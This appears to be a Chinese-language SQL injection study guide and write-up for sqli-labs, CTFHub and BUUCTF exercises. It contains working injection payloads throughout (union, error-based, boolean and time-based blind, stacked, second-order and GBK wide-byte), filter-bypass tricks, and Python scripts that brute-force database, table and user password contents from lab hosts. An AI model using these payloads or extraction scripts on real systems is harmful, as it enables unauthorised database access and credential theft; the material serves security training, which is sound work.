No title

基础

在学习SQL注入漏洞之前,先学习一个相关的知识点。在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,需要记住三个表名,分别是:schemata、tables、columns

1.schemata表存储该用户创建的所有数据库的库名。

>其中记录****数据库库名的字段名为**schemata_name****。

2.tables表存储该用户创建的所有数据库的库名和表名。

>其中记录****数据库库名**表名的字段名分别是**table_schema**table_name****。

3.columns表存储该用户创建的所有数据库的库名、表名和字段名。

>其中记录****数据库库名、表名和字段名的字段名分别是**tables_schema**table_name**column_name****。

*information_schema.tables:数据库的表名*

*information_schema.columns:数据库的列名*

注释符:

在MySQL中,常见注释符的表达方式:

# ......:#号后面的都会被注释

-- ...... :–号后面的都会被注释,不过在 – 的前后都需要加空格再加数据

/\* ... \*/ :内联注释,内联注释可以用于整个SQL语句中,用来执行SQL语句。

例如:index?id=-10 /!union/ /!select/ 1,2,3

注入中的常用函数以及命令

1.union

用来合并两个或多个select语句查询的结果

语法:select column_name from table_name1 union select column_name from table_name2

注意:union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须是相同的

2.order by

默认升序,如果希望按照降序对记录进行排序,也可以使用desc关键字(order by被正则过滤掉的话,是可以用desc来进行判断字段)

例如:order by 1或者order by 2中其实1表示第一个栏位,2表示第二个栏位。如果当表中只有两个字段列时,order by 3就会报错,就是通过这种方式来判断字段数

3.concat

将多个字符串连接成一个字符串

语法:concat(str1,str2)

注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null

4.goup_concat()

该函数返回带有来自一个组的连接的非NULL值的字符串结果。

*功能:将group by产生的同一个分组中的值连接起来,返回一个字符串的结果。*

语法:group_concat( [distinct]要连接的字段[order by 排序字段 asc/desc] [separator‘分隔符’])

说明:distinct可以排除重复值,order by子句可以对结果中的值进行跑徐,separator是一个字符串值,缺省为一个逗号。

5.***substr()***:用来截取数据库中某个字段的一部分

语法:substr(string,start,length)

参数:string:必选,数据库中需要截取的字段

start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始截取;0,在字符串中第一个位置开始截取。

length:可选,需要截取的长度。缺省。即截取到结束位置

***6.ascii(str)***:返回字符串最左边的数值

语法:ascii(str)

***7.database()***:当前使用的数据库

1
select database()

判断闭合形式

绕过的万能密钥:1' or 1=1这样主要是拿来判断成功登录时会有什么反应

首先尝试:

1
2
?id=1’
?id=1”

1.如果都报错,则为整形闭合。

2.如果单引号报错,双引号不报错。
然后尝试:?id=1’–-+

无报错则单引号闭合,报错则单引号加括号。

3如果单引号不报错,双引号报错。
然后尝试:?id=1"–-+

无报错则双引号闭合,报错则双引号加括号。

多层括号同理

绕过方式

>大小写绕过:

比如过滤select时,在不区分大小写时候可以Select绕过

>双写绕过:

过滤关键字可以用selselctect来绕过

>*空格*****绕过****:

1 /**/ 可以代替空格当空格被过滤的时候

例如:select/**/user/**/from/**/users;

2可以使用Tab代替空格

3可以使用空格url编码%20

4如果空格被过滤,括号没有被过滤,可以用括号绕过

例如:select(user)from(users);

=被过滤时:可以用like或rlike,也可以用regexp(正则来匹配)来绕过

比如=’admin’ 就可以like ‘admin’

****>select被过滤时:****可以使用desc倒序查看表内的字段,也可以show columns from 表名。

当需要查看具体信息的时候,可以使用预处理语句(1.5 堆叠注入查询)

****>编码绕过:****两次URL全编码

fuzz脚本(好东西)

get传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']

for char in sql_char:
res = requests.get("http://127.0.0.1/get.php?query="+char+"&submit2=sbumit")
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

post传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']
url = "http://127.0.0.1/get.php"
header = {
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'
}
for char in sql_char:
post_data = "query=test"+char+"&submit2=sbumit"
res = requests.post(url,data=post_data,headers=header)
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

union注入

get传参使用 --+来注释掉后面的代码,或者 %23(这个是#的url编码)

post传参使用 #来注释掉后面的代码

less-1

首先题目为get传参,通过测试可以判断出是单引号闭合,开始注入

?id=1' order by 4 --+:通过这个判断出字段数为3

?id=1' and 1=2 union select 1,2,database() --+:爆出数据库名

或者?id=1' and 1=2 union select 1,2, group_concat(schema_name) from information_schema.schamata --+

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+:爆出所有表名

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+:爆出一个表的所有字段名

?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+爆出用户名和密码,这样子爆出来看的更加整洁一点

less-2&less-3&less-4&less-25&less-25a

less-2:get传参,测试出为整形闭合,接下来的操作和less-1的步骤一样

less-3:get传参,测试出为单引号加括号闭合,接下来操作不用多说了

less-4:get传参,测试出为双引号加括号闭合,接下来操作一致

less-25:单引号闭合,如果有用到or或者and要记得双写

less-25a:整形闭合,如果有用到or或者and要记得双写

less-11&less-12

less-11:post传参,单引号闭合

less-12:post传参,双引号加括号闭合

less-20&less-21&less-22

1
2
3
4
5
6
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

利用正确账号密码登录进去,再利用cookie进行注入操作,单引号闭合

less-21:单引号加括号闭合,cookie内容要base64编码

less-22:双引号闭合

less-23

1
2
3
4
5
6
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

要在不用注释符号的情况下完成注入,所以我们要让前后两个单引号都完成闭合。例子如下:

1
?id=-1' union select 1,database(),'3

less-26(不间断空格)&less-26a&less-27&less-27a&less-28&less-28a

单引号闭合,过滤了 or,and , /* , – , # , 空格 , /

1
?id=123'union%A0select%A01,2,'3

%A0 是不间断空格(non-breaking space)的 URL 编码表示

less-26a:和上一题相比就是多加了一个括号

1
?id=100')union%a0select%a01,2,3||('3

less-27:在上面一题的基础上再加上大小写混写

less-27a:在上一题基础上单引号变成了双引号

less-29&less-30&less-31

到该题检验的方式就又变了,查看login.php文件,主要注意以下两个函数

image-20240711200527848

具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

whitelist函数是要求输入的内容只能够是数字,而java_implimentation函数是检测第一个&前面id的内容,所以&后面的内容会怎么办,我们尝试一下,如下所示:
image-20240711201419293

发现回显的是第二个id的内容,于是就找到了漏洞,在第二个id后面进行union注入

获取数据库名:?id&id=0' union all sElect 1,database(),3 --+

剩下的步骤就是普通的union注入

less-30:双引号包裹

less-31:双引号加括号包裹

报错注入

updatexml报错

updatexml()函数的使用:更新xml文档的函数,返回替换的XML片段

语法:updatexml(xml_documat,XPath_string,new_value)

参数:1.xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。

​ 2.XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。

​ 3.new_value:是string格式替换查找到符合条件的数据,在注入时可以加入任意字符,比如0x26(&)。

构造模板注入语句:

1
select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3);

原理解释:由于updatexml的第二个参数需要Xpath格式的字符串,以0x26开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入

注意:在爆表、列、值的时候注意一次查询最长输出32位

extractvalue报错

extractvalue()函数的使用:使用XPath表示从XML字符串中提取值,从目标XML中返回包含所查询值得字符串。

语法:extractvalue(xml_documat,XPath_string)

参数:1.xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。

​ 2.XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。

构造注入语句:

1
select * from major where id=1 and extractvalue(1,concat(0x26,(select database()),0x26));

注意:extrachtvalue()函数一次只能查询32位长度,在爆表、列、值的时候注意

原理解释:当Xpath路径语法错误时,就会报错,同时报错内容含有错误的路径内容。在updatexml()函数和extractvalue()函数中,都是通过对第二个参数Xpath进行修改,输入错误的格式,进行报错回显,来达到SQL注入。

less-5

get传参,测试后发现是单引号包含,并且没有任何回显点可以利用,所以我们考虑使用报错注入,这边我是用的是extractvalue报错

?id=-1'and extractvalue(1,concat(0x26,(select database()),0x26))--+:爆库

?id=-1'and extractvalue(1,concat(0x26,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x26))--+:爆出所有表名

?id=-1'and extractvalue(1,concat(0x26,(select group_concat(username,password) from users),0x26))--+:爆数据,但只有32位

1' and extractvalue(1,concat(0x26,(select group_concat(username) from users where username not in('Dumb','Angelina','Dummy','secure')),0x26))--+:把已知的数据排除在外

less-6

get传参,测试后发现是双引号包含,然后就按照less-5做就可以了

less-13&less-14

less-13:post传参,单引号加括号闭合

less-14:post传参,双引号闭合

CTFHub报错注入

前面步骤都一样,就是最后爆出来的flag不全,所以要使用从右往左查看函数right或者用 not in把查询到的排除在外

1
1 and extractvalue(1,concat(0x26,(select right(group_concat(flag),32) from flag),0x26))

less-17

通过查看源代码发现输入的账号名会被一个函数检查,所以不能从账号名处进行注入操作,继续查看源代码发现可以从密码处入手

1
2
3
4
5
6
7
8
9
10
11
12
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

即从 $update处进行报错注入,单引号闭合,剩下的操作不必多说

1
uname=admin&passwd=1' and extractvalue(1,concat(0x26,(select database()),0x26))#

less-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";

通过源代码发现用户名和密码都有强烈的过滤,登录成功后会回显 user-agent,所以要利用其insert语句来进行注入,注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号

post语句:uname=admin1&passwd=admin1,需要成功登录才可以

在注入的两个单引号之间可以插入其他 Sql 语句,注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 要用 OR 进行连接:'or extractvalue(1,concat(0x26,(select database()),0x26)) or'

less-19

成功登陆后回显refere,在那上面进行注入,剩下步骤与less-18的一模一样

布尔盲注

CTFHub

get传参,整型注入,输入正确会返回 query success

id=1 and (length(database())>3) :通过这个判断出数据库长度为4

通过下面判断出数据库的正确名称为sqli

1
2
3
4
id=1 and (ascii(substr(database(),1,1))>110)
1 and (ascii(substr(database(),2,1))=113)
1 and (ascii(substr(database(),3,1))=108)
1 and (ascii(substr(database(),4,1))=105)

通过下面判断出数据库里面存在两个表(大于0说明存在表)

1
2
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0
1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>0

测出表的长度都为4

1
2
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4
1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4

然后通过同样的方法判断出第一个表名,第二个表名flag

1
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110

查出flag表的字段数是1

1
1 and (select count(column_name) from information_schema.columns where table_name="flag")=1 

判断出表名长度为4,测试出字段名为flag

1 and (select count(flag) from flag)=1:判断该字段有几行

1 and ascii(substr((select flag from flag limit 0,1), 32,1)) :解出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
urlOPEN = 'http://challenge-eb0855b296d32f7a.sandbox.ctfhub.com:10800/?id='
mark = 'query_success'
def database_name():
name = ''
for j in range(1,5):
for i in 'qwertyuiopasdfghjklzxcvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name',name)
database_name()//爆出数据库

less-8

爆出数据库名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
urlOPEN = 'http://124.70.99.199:81/Less-8/'
def database_name():
db_name = ''
for i in range(1, 9):
for k in 'qwertyuiopasdfghjklzxcvbnm':
payload = urlOPEN + "?id=1'and substr(database(),%d,1)='%s'--+" % (i, k)
res = requests.get(payload)
if 'You are in...........' in res.text:
db_name += k
print(db_name)
break
print("数据库为: %s" % db_name)
database_name()

爆出数据库下面有4张表:

1
2
3
4
5
6
7
8
9
10
11
import requests
urlOPEN = 'http://124.70.99.199:81/Less-8/'
tab_num = 0
while True:
payload = urlOPEN + "?id=1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num
res = requests.get(payload)
if 'You are in...........' in res.text:
print("数据库共有" + str(tab_num) + "张表")
break
else:
tab_num += 1

爆出表的长度和名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
urlOPEN = 'http://124.70.99.199:81/Less-8/'
for i in range(1, 5):
tab_len = 0
while True:
payload = urlOPEN + "?id=1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i - 1, tab_len)
res = requests.get(payload)
if 'You are in...........' in res.text:
print ('第%d张表长度为:'%i+str(tab_len))
break
if tab_len == 30:
print('error!')
break
tab_len += 1
tab_name = ''
for j in range(1, tab_len + 1):
for m in 'qwertyuiopasdfghjklzxcvbnm':
payload = urlOPEN + "?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i - 1, j, m)
res = requests.get(payload)
if 'You are in...........' in res.text:
tab_name += m
# print (tab_name)
print("[-]第%d张表名为: %s" % (i, tab_name))

爆破字段数和字段名的脚本和上面类似

爆破users表下的uesrname字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
urlOPEN = 'http://124.70.99.199:81/Less-8/'
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
payload = urlOPEN + "?id=1'and (select count(username) from security.users)=%d--+" % usn_num
res = requests.get(payload)
if "You are in" in res.text:
print(usn_num)
break
usn_num += 1
for i in range(1, usn_num + 1):
usn_len = 0
while True:
payload = urlOPEN + "?id=1'and (select length(username) from security.users limit %d,1)=%d--+" % (i - 1, usn_len)
res = requests.get(payload)
if "You are in" in res.text:
print("第%d的长度为%d"%(i,usn_len))
break
usn_len += 1
usr_name = ''
for k in range(1, usn_len + 1):
for m in char:
payload = urlOPEN + "?id=1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i - 1, k, m)
res = requests.get(payload)
if "You are in" in res.text:
usr_name += m
break
print(usr_name)

爆破uses表下的password字段和上面类似

如果脚本还有不懂可以点击[这里](sqli-labs_less8布尔盲注脚本_sqlilab less8盲注脚本-CSDN博客)

时间注入

时间注入是利用sleep()或者benchmark()等函数让MySQL的执行时间变长,通过时间的改变来判断结果

模板语句:if(length(database())>1,sleep(3),1)

意思就是,如果数据库库名的长度大于1,则MySQL查询休眠3秒,否则查询1。查询1的结果大约一般只有几十毫秒,根据网页的响应时间,就可以判断条件是否正确

语法:if(expr1,expr2,expr3)语法含义:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3

1 and if(length(database())=4,sleep(3),1):查询数据库长度

接下来的步骤就是把 length(database()=4)进行更换,跟手动布尔盲注差不多

less-9

?id=1' and if(length(database())=8,sleep(3),1) --+:得出数据库长度为8,下面为脚本的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import datetime
url = "http://124.70.99.199:81/Less-9/"
p1 = 'abcdefghijklmnopqrstuvwxyz'
def database_len():
for i in range(1,10):
payload = "?id=1' and if(length(database())>%d,sleep(2),0)--+" %i
url1 = url + payload
time1 =datetime.datetime.now()
r=requests.get(url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds()
if time3 >= 2:
print(i)
else:
print(i)
break
print('数据库长度为:',i)
database_len()

爆出数据库名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import datetime
url = "http://124.70.99.199:81/Less-9/"
p1 = 'abcdefghijklmnopqrstuvwxyz'
def database_name():
name=''
for i in range(1,9):
for j in p1:
payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j)
url1=url+payload
time1=datetime.datetime.now()
r=requests.get(url1)
time2=datetime.datetime.now()
time3=(time2-time1).total_seconds()
if time3 >= 4:
name += j
print(name)
break
print('数据库名字为:',name)
database_name()

?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))>0,sleep(3),1) --+:得到数据库下面有4张表

爆破表的长度可见题目less-8

爆破表的名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import datetime
url = "http://124.70.99.199:81/Less-9/"
p1 = 'abcdefghijklmnopqrstuvwxyz'
def tables_name():
global table4
table1=''
table2=''
table3=''
table4=''
for i in range(4):
for j in range(1,6):
for t in p1:
payload="?id=1' and sleep(if((substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t)
url1=url+payload
time1=datetime.datetime.now()
r=requests.get(url1)
time2=datetime.datetime.now()
time3=(time2-time1).seconds
if time3 >= 3:
if i == 0:
table1 +=t
print('第一个表为:',table1)
elif i == 1:
table2 += t
print('第二个表为:',table2)
elif i == 2:
table3 +=t
print('第三个表为:',table3)
elif i == 3:
table4 += t
print('第四个表为:',table4)
else:
break
print('第一个表为'+table1)
print('第二个表为'+table2)
print('第三个表为' + table3)
print('第四个表为' + table4)
tables_name()

爆破字段数,长度,名字的脚本类似

爆破一行的字段内容(可以通过更改 limit 0,1来更改爆破地方,可以去看less-8的爆破):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import datetime
url = "http://124.70.99.199:81/Less-9/"
p1 = 'abcdefghijklmnopqrstuvwxyz'
def s_content():
content1=''
for i in range(20):
for t in p1:
payload = "?id=1' and sleep(if((substr((select password from users limit 0,1),%s,1)='%s' ),3,0)) --+"%(i,t)
url1 =url+payload
time1=datetime.datetime.now()
r = requests.get(url1)
time2 = datetime.datetime.now()
time3 = (time2-time1).seconds
if time3 >=3:
content1 += t
print('password字段一内容为:'+content1)
break

print('字段内容为:'+content1)
s_content()

less-10

双引号闭合,剩下的和less-9一样

less-15(post传参脚本)&less-16

注意:该题逻辑运算符要用or

通过万能密钥 1' or 1=1看到了成功登录时的图片

uname=1' or length(database())=8#&passwd=1数据库长度为8

sql-labs-less15/less16|SQL注入|脚本时间注入-腾讯云开发者社区-腾讯云 (tencent.com)

爆破数据库名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import datetime
url = "http://124.70.99.199:81/Less-15/"
def get_dbname():
db_name = ''
for i in range(1,9):
for k in range(32,127):
database_payload = {"uname":"admin' and if(ascii(substr(database(),%d,1))=%d,sleep(2),1)#"%(i,k),"passwd":"1"}
time1 = datetime.datetime.now()
res = requests.post(url,database_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()

查表名

table_payload = {"uname":"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)#"%(i,j,k),"passwd":"1"}可以这么写

less-16:Post传参,双引号加括号闭合

堆叠注入

堆叠查询可以执行多条语句,多语句之间可以以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。

@堆叠查询注入模板语句:

1
1';select * from major;#

SQL预处理(Prepare),是一种特殊的SQL处理方式;预处理不会直接执行SQL语句,而是先将SQL语句编译,生成执行计划,然后通过Execute命令携带SQL参数来执行SQL语句。

预定义prepare模板:

1
2
prepare xxx as select * from user where id=1;  //将select查询语句定义为xxx
execute xxx; //再使用execute来执行这个变量xxx即可执行上诉的select查询语句

set是SQL Server中对已经定义的变量赋值方式

BUUCTF [强网杯 2019]随便注

单引号包含,字段数为2

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);:一些关键词被过滤掉了

0';show databases;--+:显示出所有数据库名

0';show tables;--+:显示出所有表名

1
0';desc `1919810931114514`;--+:显示出表的字段名

发现有个字段是flag,于是用预定义语句来查询flag字段

1
0';sEt@a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;--+

二次注入

BUUCTF [RCTF 2015]EasySQL

在帐号处输入一些特殊字符,然后去更改密码,可以测出是双引号闭合,会返回报错语句,可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入

过滤掉了很多的字符

推测的查询语句为 select * from 表名 where id="%s" and pwd="密码"

1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#:查询出数据库

后面操作就是报错注入了

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#:WHERE real_flag_1s_here REGEXP '^f' 表示筛选出 real_flag_1s_here 列值以字母 ‘f’ 开头的行。REGEXP 是正则表达式匹配操作符,’^’ 表示匹配行首(不这样子的话数据是一堆XXXXXXX)

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#:获得到剩下的flag,不过是反着的

less-24

没有任何过滤,只能做到可以修改admin密码的程度,网上题解也就到这个程度

Cookie注入

就是注入的地方变成了cookie

CTFHUB Web SQL Cookie注入

做这种题目最好用bp抓包不要直接用hackbar,不好用,操作跟union注入的一样

宽字节注入

哪里存在这个注入漏洞

由于数据库查询前执行了SET NAMES' GBK',将编码设置为宽字节GBK,所以此处是存在宽字节注入漏洞

在PHP中,通过iconv()进行编码转换时,也可能存在宽字符注入漏洞

less-32&less-33&less-34

1
2
3
4
5
6
7
8
9
10
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);

这里通过使用id=1’的查询方式发现,Hint中告知了后端将我们的语句进行了\转义,参数id=1在数据库查询时是被单引号包围的。当传入id=1’时,传入的单引号又被转义符(反斜线)转义,导致参数ID无法逃逸单引号的包围,所以在一般的情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式就是在地址后面加一个**%df**,再加单引号,可以通过上面的测试发现,在单引号之前PHP会自动加一个\(反斜杠),因为反斜杠的编码为%5c,所以自动转义为\',而在GBK编码中,%df5c是繁体字“連”,由于汉字是双字节,所以这里'之前的\就会被吃掉消失,那么会造成单引号成功逃逸,爆出MySQL数据库的错误

?id=0%df'union select 1,2,3--+:发现就回显2,3

?id=0%df'union select 1,2,database()--+:爆数据库名

?id=0%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())--+:爆表名

?id=0%df'union select 1,2,group_concat(column_name) from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0,1)--+:爆一个个表的字段

?id=0%df'union select 1,(select group_concat(id) from emails),(select group_concat(email_id) from emails)--+:爆表的内容

less-33:和less-32一样,这里就不多说了

less-34:只是传参方式从get变成了post而已,剩下的都没有变